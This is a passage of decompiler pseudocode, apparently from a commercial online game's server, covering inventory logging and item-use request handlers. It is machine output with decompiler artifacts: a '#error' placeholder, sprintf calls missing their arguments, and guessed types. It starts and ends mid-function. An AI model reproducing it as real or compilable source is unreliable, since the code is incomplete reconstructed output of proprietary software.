[sp+13Ch] [bp-10h]@1 int v33; // [sp+148h] [bp-4h]@1 v2 = ecx0; v32 = (unsigned int)&v22 ^ __security_cookie; v22 = (int)ecx0; v29 = (int)msg; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v33 = 0; if ( msg ) { v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v3 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&InvenStatusLog, v5); v7 = DebugLogging::operator<<(v6, " "); v8 = DebugLogging::operator<<(v7, msg); DebugLogging::operator<<(v8, &deb_LF); } ibii = (int)&ItemBoxIterator::_vftable_; v26 = (char *)v2 + 35680; v28 = (*(int (**)(void))(*((_DWORD *)v2 + 8920) + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v33) = 1; v27 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v9 = (**(int (__stdcall ***)(_DWORD))v26)(v27); if ( !v9 || (v10 = *(_WORD *)(v9 + 8), v10 >= unk_131DE8B4) || (v11 = unk_131DF0C4 + 32 * v10) == 0 || !*(_DWORD *)v11 ) goto LABEL_23; if ( !(**(_WORD **)v11 == *(_WORD *)(v9 + 8)) ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", **(_WORD **)v11 + 10000 * v10); LABEL_23: ibii = (int)&ItemBoxIterator::_vftable_; LABEL_24: v21 = "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"; goto LABEL_25; } sprintf(buffer, " Inv %3d %I64u %.40s"); v12 = v29; if ( v29 ) { v14 = DebugLogging::operator<<(&InvenStatusLog, buffer); v15 = v14; if ( DebugLogging::dl_ActivAll && v14->dl_Activ && v14->dl_FilePointer ) { v16 = DebugLogging::dl_FilePoint(v14); fputc(10, v16); fflush(v15->dl_FilePointer); fclose(v15->dl_FilePointer); v15->dl_FilePointer = 0; } v13 = v22; } else { v13 = v22; (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v22 + 1924))(v22, buffer); } } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; this.baseclass_0.ibi_itembag = (ItemBag *)(v13 + 32312); v17 = *(_DWORD *)(v13 + 32312); LOBYTE(v33) = 0; this.baseclass_0.ibi_Limit = (*(int (**)(void))(v17 + 8))(); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v33) = 2; this.baseclass_0.ibi_finger = 0; if ( !(unsigned __int8)ItemBoxIterItem::_vftable_(&this) && !ItemBoxIterator::ibi_Next(&this.baseclass_0) ) { this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; goto LABEL_24; } do { v18 = ((int (__stdcall *)(int))this.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(this.baseclass_0.ibi_finger); if ( !v18 ) break; v19 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v18 + 8)); if ( !v19 ) break; if ( !v19->data ) break; sprintf(&str, " Equ %3d %I64u %.40s"); if ( v12 ) { v20 = DebugLogging::operator<<(&InvenStatusLog, &str); DebugLogging::operator<<(v20, &deb_LF); } else { (*(void (__thiscall **)(int, char *))(*(_DWORD *)v13 + 1924))(v13, &str); } } while ( ItemBoxIterator::ibi_Next(&this.baseclass_0) ); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; v33 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { ibii = (int)&ItemBoxIterator::_vftable_; v21 = "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"; LABEL_25: --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); } __security_check_cookie((unsigned int)&v22 ^ v32); } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004FF300) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 bool v5; // zf@1 char *v6; // ebp@1 int v7; // eax@11 int v8; // eax@16 int v9; // ST28_4@20 signed int v10; // eax@20 int v11; // eax@23 void *v12; // esi@23 int v13; // edi@25 void *v14; // eax@26 int v15; // eax@27 ItemDataBox::ItemDataBoxIndex *v16; // eax@30 int v17; // eax@32 char v18; // al@38 int v19; // eax@39 void *v20; // eax@40 int v21; // esi@44 int v22; // ecx@45 __int16 v23; // ax@45 void *v24; // edx@45 __int16 v25; // ax@45 char *v26; // edi@46 int v27; // eax@46 ItemAttributeClass *v28; // ST20_4@47 int v29; // eax@47 int v30; // eax@48 char v31; // al@48 ZoneBaseSession *v32; // eax@49 int v33; // eax@50 int v34; // [sp+20h] [bp-BCh]@14 const char *v35; // [sp+24h] [bp-B8h]@14 int v36; // [sp+28h] [bp-B4h]@14 FunctionEntarance _; // [sp+3Ch] [bp-A0h]@1 ITEM_INVEN chargeiteminven; // [sp+40h] [bp-9Ch]@45 int nCharIDChangeItemLot; // [sp+44h] [bp-98h]@36 int v40; // [sp+48h] [bp-94h]@1 int pCharIDChangeItemCell; // [sp+4Ch] [bp-90h]@23 void *idb; // [sp+50h] [bp-8Ch]@26 void *iac_charge; // [sp+54h] [bp-88h]@40 int nCharIDChangeItemID; // [sp+58h] [bp-84h]@25 ItemTotalInformation iti; // [sp+5Ch] [bp-80h]@44 unsigned int v46; // [sp+CCh] [bp-10h]@1 int v47; // [sp+D8h] [bp-4h]@1 v4 = this; v46 = (unsigned int)&_ ^ __security_cookie; v40 = netcmd; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S10_31 & 1) == 0; v6 = gpp.pp_Buffer; v47 = 0; *(_WORD *)gpp.pp_Buffer = -19437; if ( v5 ) { _S10_31 |= 1u; cmc_67.cmc_AllowMode = 70; atexit(_E11_22); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_67.cmc_AllowMode) ) { *((_WORD *)v6 + 1) = 8369; LABEL_9: if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { LABEL_10: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long", 6); LABEL_55: --funcallanalizer.fca_stackpoint; v47 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ"); goto LABEL_56; } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_54: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_55; } if ( *((_BYTE *)v4 + 7428) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 3464))(v4) ) { *((_WORD *)v6 + 1) = 8369; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) goto LABEL_10; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_54; } if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v6 + 1) = 8370; goto LABEL_9; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) { *((_WORD *)v6 + 1) = 8372; LABEL_14: v36 = 6; v35 = "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long"; v34 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 6); goto LABEL_15; } if ( *((_BYTE *)v4 + 69760) & 0xC || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2536))(v4) ) { *((_WORD *)v6 + 1) = 8369; goto LABEL_14; } v9 = *(_BYTE *)(netcmd + 2); v10 = (*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 8920) + 8))((char *)v4 + 35680); if ( AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 2) < v10, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : wrong slot", v9) ) goto LABEL_41; if ( !(unsigned __int8)(*(int (__thiscall **)(char *, signed int, _DWORD, _DWORD))(*((_DWORD *)v4 + 14470) + 8))( (char *)v4 + 57880, 9, *(_BYTE *)(netcmd + 2), *((_WORD *)v4 + 71579)) ) { v11 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))( (char *)v4 + 35680, *(_BYTE *)(netcmd + 2)); v12 = (void *)v11; pCharIDChangeItemCell = v11; if ( !v11 ) { *((_WORD *)v6 + 1) = 8371; goto LABEL_38; } v13 = *(_WORD *)(v11 + 8); nCharIDChangeItemID = v13; if ( (_WORD)v13 != -1 ) { v14 = ItemDataBox::operator__(&itemdatabox, v13); idb = v14; if ( v14 ) { v15 = *(_DWORD *)(*(_DWORD *)v14 + 385); if ( v15 != 4 && v15 != 5 ) { *((_WORD *)v6 + 1) = 6776; goto LABEL_14; } v16 = ItemDataBox::operator__(&itemdatabox, v13); v17 = v16 && v16->data; if ( AssertClass::operator__( &shineassert, v17, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Try to use empty char id change item cell", 0) ) { *((_WORD *)v6 + 1) = 8374; goto LABEL_42; } nCharIDChangeItemLot = (*(int (__stdcall **)(char *))(**((_DWORD **)v12 + 28) + 24))((char *)v12 + 8); if ( AssertClass::operator__( &shineassert, nCharIDChangeItemLot > 0, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Try to use lot 0 item", 0) ) { *((_WORD *)v6 + 1) = 8373; LABEL_38: v18 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v18, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long", 6) ) { v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v19 + 12))(v19, v4, &gpp); } goto LABEL_51; } v20 = ItemAttributeClassContainer::operator__(&itmattcontainer, v13); iac_charge = v20; if ( v20 ) { if ( nCharIDChangeItemLot > 1 ) { memcpy(&iti, v12, 0x6Cu); v21 = (int)((char *)v12 + 108); *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)v21; BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v21 + 2); (*(void (__thiscall **)(void *, SHINE_ITEM_STRUCT *, int))(*(_DWORD *)v20 + 28))( v20, &iti.iti_itemstruct, nCharIDChangeItemLot - 1); v12 = (void *)pCharIDChangeItemCell; LOWORD(v13) = nCharIDChangeItemID; } v22 = v40; chargeiteminven.Inven = *(unsigned __int8 *)(v40 + 2) | 0x2400; *(_WORD *)gpp.pp_Buffer = -19439; *(_DWORD *)(v6 + 2) = *(_DWORD *)v12; v23 = *((_WORD *)v6 + 5); *(_DWORD *)(v6 + 6) = *((_DWORD *)v12 + 1); v24 = idb; v25 = v23 & 0x3FF | 0x2400; *((_WORD *)v6 + 5) = v25; *((_WORD *)v6 + 5) = v25 ^ (v25 ^ *(_BYTE *)(v22 + 2)) & 0x3FF; v6[12] = *(_DWORD *)(*(_DWORD *)v24 + 385) != 4; *(_WORD *)(v6 + 13) = v13; *(_DWORD *)(v6 + 15) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *(_WORD *)(v6 + 19) = *((_WORD *)v4 + 2); *(_DWORD *)(v6 + 21) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *(_DWORD *)(v6 + 25) = *(_DWORD *)v12; *(_DWORD *)(v6 + 29) = *((_DWORD *)v12 + 1); *(_WORD *)(v6 + 33) = v13; *(_WORD *)(v6 + 37) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4) + 4); if ( nCharIDChangeItemLot > 1 ) { v28 = (ItemAttributeClass *)iac_charge; v6[39] = 0; *(_WORD *)(v6 + 35) = 38; v26 = (char *)(ItemTotalInformation::iti_fill2buffer_atrib(&iti, v28, v13, v6 + 40) - (v6 + 40)); v29 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, void *, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v29 + 56))( v29, *(_WORD *)(v6 + 37), v12, &iti, &chargeiteminven, &chargeiteminven); } else { v26 = 0; v6[39] = 1; *(_WORD *)(v6 + 35) = 0; v27 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, void *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v27 + 48))( v27, *(_WORD *)(v6 + 37), v12, &chargeiteminven, &chargeiteminven); } v30 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, signed int, _DWORD))(*(_DWORD *)v30 + 44))( v30, *(_WORD *)(v6 + 37), 9, *(_BYTE *)(v40 + 2)); v31 = ProtocolPacket::pp_SetPacketLen(&gpp, (int)(v26 + 40)); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v31, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long", (int)(v26 + 40)) ) { v32 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v32); } v33 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); ++*(_WORD *)(v33 + 4); goto LABEL_51; } } } LABEL_41: *((_WORD *)v6 + 1) = 8371; goto LABEL_42; } *((_WORD *)v6 + 1) = 8372; LABEL_42: v36 = 6; v35 = "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long"; v34 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 6); LABEL_15: if ( !AssertClass::operator__(&shineassert, v34, v35, v36) ) { v8 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); } LABEL_51: v47 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_56: __security_check_cookie((unsigned int)&_ ^ v46); } //----- (004FF8D0) -------------------------------------------------------- #error "4FF8D0: undefined or illegal type '#593' (funcsize=53)" //----- (004FF9B0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck(int pAck) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck"); } //----- (004FFA00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck(void *this, int pAck) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@2 int v5; // eax@3 int v6; // ST04_4@4 DebugLogging *v7; // eax@4 DebugLogging *v8; // eax@4 char *v9; // eax@5 int v10; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; if ( *(_WORD *)(pAck + 6) == 8368 ) { v5 = (*(int (__thiscall **)(void *))(v3 + 2004))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v5 + 32))( v5, v2, *(_WORD *)(pAck + 8), 0) ) { v6 = *(_WORD *)(pAck + 8); v7 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck : "); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); } } else { v4 = (*(int (__thiscall **)(void *))(v3 + 2004))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 40))(v4, *(_WORD *)(pAck + 8)); } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -19437; *((_WORD *)v9 + 1) = *(_WORD *)(pAck + 6); *((_WORD *)v9 + 2) = *(_WORD *)(pAck + 10); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck"); } //----- (004FFB50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 char *v5; // edi@1 bool v6; // zf@1 int v7; // eax@5 int v8; // eax@21 int v9; // eax@23 void *v10; // eax@25 int v11; // eax@27 int v12; // esi@35 char v13; // al@37 int v14; // eax@38 int v15; // eax@39 void *v16; // eax@41 __int16 v17; // cx@54 char *v18; // ebp@54 int v19; // eax@54 void *v20; // edi@54 __int16 v21; // dx@54 int v22; // ecx@54 __int16 v23; // dx@54 int v24; // eax@54 bool v25; // sf@54 unsigned __int8 v26; // of@54 int v27; // esi@55 int v28; // eax@55 int v29; // eax@55 int v30; // eax@56 int v31; // eax@57 char v32; // al@57 ZoneBaseSession *v33; // eax@58 int v34; // eax@59 int v35; // [sp+8h] [bp-13Ch]@40 const char *v36; // [sp+Ch] [bp-138h]@40 int v37; // [sp+10h] [bp-134h]@40 FunctionEntarance _; // [sp+24h] [bp-120h]@1 ITEM_INVEN CancelItemInvenSlot; // [sp+28h] [bp-11Ch]@54 int pBelongedItemCell; // [sp+2Ch] [bp-118h]@21 ITEM_INVEN BelongedItemInvenSlot; // [sp+30h] [bp-114h]@54 int nCancelItemLotCnt; // [sp+34h] [bp-110h]@47 void *pBelongedItem_IAC; // [sp+38h] [bp-10Ch]@29 void *pCancelItem_IDBI; // [sp+3Ch] [bp-108h]@41 void *pCancelItem_IAC; // [sp+40h] [bp-104h]@45 void *pBelongedItem_IDBI; // [sp+44h] [bp-100h]@25 int pCancelItemCell; // [sp+48h] [bp-FCh]@35 int nCancelItemID; // [sp+4Ch] [bp-F8h]@39 int nBelongedItemID; // [sp+50h] [bp-F4h]@23 char CancelItem_ITI; // [sp+54h] [bp-F0h]@55 char v51; // [sp+5Ch] [bp-E8h]@55 __int16 v52; // [sp+C0h] [bp-84h]@55 char v53; // [sp+C2h] [bp-82h]@55 ItemTotalInformation BelongedItem_ITI; // [sp+C4h] [bp-80h]@57 unsigned int v55; // [sp+134h] [bp-10h]@1 int v56; // [sp+140h] [bp-4h]@1 v4 = this; v55 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = (_S12_4 & 1) == 0; *(_WORD *)gpp.pp_Buffer = 12361; v56 = 0; *((_WORD *)v5 + 1) = 10368; if ( v6 ) { _S12_4 |= 1u; cmc_68.cmc_AllowMode = 6; atexit(_E13_9); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_68.cmc_AllowMode ) { if ( *((_BYTE *)v4 + 7428) & 4 ) { *((_WORD *)v5 + 1) = 10373; goto LABEL_8; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 3464))(v4) ) { *((_WORD *)v5 + 1) = 10374; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) goto LABEL_5; goto LABEL_9; } if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v5 + 1) = 10371; LABEL_8: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_16; } goto LABEL_9; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) == 1 ) { *((_WORD *)v5 + 1) = 10372; LABEL_61: v37 = 4; v36 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ : Packet Too Long"; v35 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 4); LABEL_62: if ( !AssertClass::operator__(&shineassert, v35, v36, v37) ) { v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_64; } goto LABEL_65; } if ( *((_BYTE *)v4 + 69760) & 0xC ) { *((_WORD *)v5 + 1) = 10375; goto LABEL_61; } v8 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))( (char *)v4 + 35680, *(_BYTE *)(netcmd + 3)); pBelongedItemCell = v8; if ( !v8 ) { *((_WORD *)v5 + 1) = 10376; goto LABEL_37; } v9 = *(_WORD *)(v8 + 8); nBelongedItemID = v9; if ( (_WORD)v9 == -1 ) { *((_WORD *)v5 + 1) = 10378; goto LABEL_49; } v10 = ItemDataBox::operator__(&itemdatabox, v9); pBelongedItem_IDBI = v10; if ( !v10 ) { *((_WORD *)v5 + 1) = 10378; goto LABEL_49; } v11 = *(_DWORD *)v10; if ( !v11 ) { *((_WORD *)v5 + 1) = 10378; goto LABEL_49; } pBelongedItem_IAC = *(void **)(pBelongedItemCell + 112); if ( pBelongedItem_IAC ) { if ( !CItemAuthorityBase::IA_IsDataPutOnBelonged(&g_ItmBelongAttr.baseclass_0, *(E_BelongType *)(v11 + 281)) ) { *((_WORD *)v5 + 1) = 10380; goto LABEL_61; } if ( !(*(int (__stdcall **)(int))(*(_DWORD *)pBelongedItem_IAC + 144))(pBelongedItemCell) ) { *((_WORD *)v5 + 1) = 10381; goto LABEL_49; } v12 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))( (char *)v4 + 35680, *(_BYTE *)(netcmd + 2)); pCancelItemCell = v12; if ( v12 ) { v15 = *(_WORD *)(v12 + 8); nCancelItemID = v15; if ( (_WORD)v15 == -1 ) { v37 = 4; v36 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ : Packet Too Long"; *((_WORD *)v5 + 1) = 10379; v35 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 4); goto LABEL_62; } v16 = ItemDataBox::operator__(&itemdatabox, v15); pCancelItem_IDBI = v16; if ( !v16 ) { v37 = 4; v36 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ : Packet Too Long"; *((_WORD *)v5 + 1) = 10379; v35 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 4); goto LABEL_62; } if ( !*(_DWORD *)v16 ) { v37 = 4; v36 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ : Packet Too Long"; *((_WORD *)v5 + 1) = 10379; v35 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 4); goto LABEL_62; } pCancelItem_IAC = *(void **)(v12 + 112); if ( !pCancelItem_IAC ) { v37 = 4; v36 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ : Packet Too Long"; *((_WORD *)v5 + 1) = 10379; v35 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 4); goto LABEL_62; } nCancelItemLotCnt = (*(int (__stdcall **)(int))(*(_DWORD *)pCancelItem_IAC + 24))(v12 + 8); if ( nCancelItemLotCnt > 0 ) { if ( *(_DWORD *)(*(_DWORD *)pCancelItem_IDBI + 385) == 6 ) { if ( *(_DWORD *)(*(_DWORD *)pCancelItem_IDBI + 127) == *(_DWORD *)(*(_DWORD *)pBelongedItem_IDBI + 127) ) { v17 = *(_BYTE *)(netcmd + 2); v18 = gpp.pp_Buffer + 2; BelongedItemInvenSlot.Inven = *(unsigned __int8 *)(netcmd + 3) | 0x2400; CancelItemInvenSlot.Inven = v17 & 0x3FF | 0x2400; *(_WORD *)v5 = 13478; *(_WORD *)v18 = *((_WORD *)v4 + 2); *(_DWORD *)(v18 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v19 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v20 = (void *)pBelongedItemCell; v21 = nBelongedItemID; *((_WORD *)v18 + 3) = *(_WORD *)(v19 + 4); *((_DWORD *)v18 + 2) = *(_DWORD *)v20; v22 = *((_DWORD *)v20 + 1); *((_WORD *)v18 + 8) = v21; v23 = nCancelItemID; *((_DWORD *)v18 + 3) = v22; *(_DWORD *)(v18 + 18) = *(_DWORD *)v12; v24 = nCancelItemLotCnt; v26 = __OFSUB__(nCancelItemLotCnt, 1); v6 = nCancelItemLotCnt == 1; v25 = nCancelItemLotCnt - 1 < 0; *(_DWORD *)(v18 + 22) = *(_DWORD *)(v12 + 4); *((_WORD *)v18 + 13) = v23; *((_DWORD *)v18 + 7) = v24; if ( (unsigned __int8)(v25 ^ v26) | v6 ) { v30 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v30 + 48))( v30, *((_WORD *)v18 + 3), v12, &CancelItemInvenSlot, &CancelItemInvenSlot); } else { memcpy(&CancelItem_ITI, (const void *)v12, 0x6Cu); v27 = v12 + 108; v28 = *(_DWORD *)pCancelItem_IAC; v52 = *(_WORD *)v27; v53 = *(_BYTE *)(v27 + 2); (*(void (__stdcall **)(char *, int))(v28 + 28))(&v51, nCancelItemLotCnt - 1); v29 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v29 + 56))( v29, *((_WORD *)v18 + 3), pCancelItemCell, &CancelItem_ITI, &CancelItemInvenSlot, &CancelItemInvenSlot); v20 = (void *)pBelongedItemCell; } memcpy(&BelongedItem_ITI, v20, 